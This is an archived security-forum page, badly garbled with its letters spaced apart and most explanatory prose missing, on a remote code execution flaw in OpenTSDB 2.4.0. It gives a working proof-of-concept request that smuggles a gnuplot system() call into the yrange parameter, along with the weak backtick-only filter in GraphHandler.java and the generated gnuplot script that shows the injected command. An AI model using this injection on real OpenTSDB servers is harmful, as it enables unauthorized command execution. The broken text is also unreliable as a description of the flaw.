[20530] 2021-02-26_OpenTSDB2.4.0远程代码执行

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-02-26_OpenTSDB2.4.0远程代码执行 O p e n T S D B   2 . 4 . 0 N i g h t R a n g 3 r   K h a n   2 0 2 1 - 0 2 - 2 6                 P e n t e s t y r a n g e 使 O p e n T S D B   2 . 4 . 0                 g n u p l o t /   T M P g n u p l o t O p e n T S D B / s r c / m y g n u p l o t . s h                 / s r c / t s d / G r a p h H a n d l e r . j a v a P o C : h t t p : / / o p e n t s d b h o s t . l o c a l / q ? s t a r t = 2 0 0 0 / 1 0 / 2 1 - 0 0 : 0 0 : 0 0 & e n d = 2 0 2 0 / 1 0 / 2 5 - 1 5 : 5 6 : 4 4 & m = s u m : s y s . c p u . n i c e & o = & y l a b e l = & x r a n g e = 1 0 : 1 0 & y r a n g e = [ 3 3 : s y s t e m ( ' t o u c h / t m p / p o c . t x t ' ) ] & w x h = 1 5 1 6 x 6 4 4 & s t y l e = l i n e s p o i n t & b a b a = l a l a & g r i d = t & j s o n p r i v a t e   s t a t i c   S t r i n g   p o p P a r a m ( f i n a l   M a p < S t r i n g ,   L i s t < S t r i n g > >   q u e r y s t r i n g ,                                                                                   f i n a l   S t r i n g   p a r a m )   {                 f i n a l   L i s t < S t r i n g >   p a r a m s   =   q u e r y s t r i n g . r e m o v e ( p a r a m ) ;                 i f   ( p a r a m s   = =   n u l l )   {                     r e t u r n   n u l l ;                 }                 f i n a l   S t r i n g   g i v e n   =   p a r a m s . g e t ( p a r a m s . s i z e ( )   -   1 ) ;                 / /   T O D O   -   f a r   f r o m   p e r f e c t ,   s h o u l d   h e l p   a   l i t t l e .                 i f   * ( g i v e n . c o n t a i n s ( " ` " )   | |   g i v e n . c o n t a i n s ( " % 6 0 " )   | |                           g i v e n . c o n t a i n s ( " & # 9 6 ; " ) )   * {                     t h r o w   n e w   B a d R e q u e s t E x c e p t i o n ( " P a r a m e t e r   "   +   p a r a m   +   "   c o n t a i n e d   a   "                             +   " b a c k - t i c k .   T h a t ' s   a   n o - n o . " ) ;                 }                 r e t u r n   g i v e n ;             } [ 3 3 : s y s t e m ( ' t o u c h / t m p / p o c . t x t ' ) ]
O p e n T S D B t e m p g n u p l o t O p e n T S D B m y g n u p l o t . s h p o c . t x t A v i a d   G o l a n S h a i   r o d s e t   t e r m   p n g   s m a l l   s i z e   1 5 1 6 , 6 4 4 s e t   x d a t a   t i m e s e t   t i m e f m t   " % s " i f   ( G P V A L _ V E R S I O N   <   4 . 6 )   s e t   x t i c s   r o t a t e ;   e l s e   s e t   x t i c s   r o t a t e   r i g h t s e t   o u t p u t   " / t m p / d 7 0 5 b a 5 b . p n g " s e t   x r a n g e   [ " 9 7 2 0 8 6 4 0 0 " : " 1 6 0 3 6 4 1 4 0 4 " ] s e t   f o r m a t   x   " % Y / % m / % d " s e t   g r i d s e t   s t y l e   d a t a   l i n e s p o i n t s e t   k e y   r i g h t   b o x s e t   y l a b e l   " " * s e t   y r a n g e   [ 3 3 : s y s t e m ( ' t o u c h   / t m p / p o c . t x t ' ) ] * p l o t   " / t m p / d 7 0 5 b a 5 b _ 0 . d a t "   u s i n g   1 : 2   t i t l e   " s y s . c p u . n i c e { h o s t = w e b 0 1 ,   d c = l g a } "
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则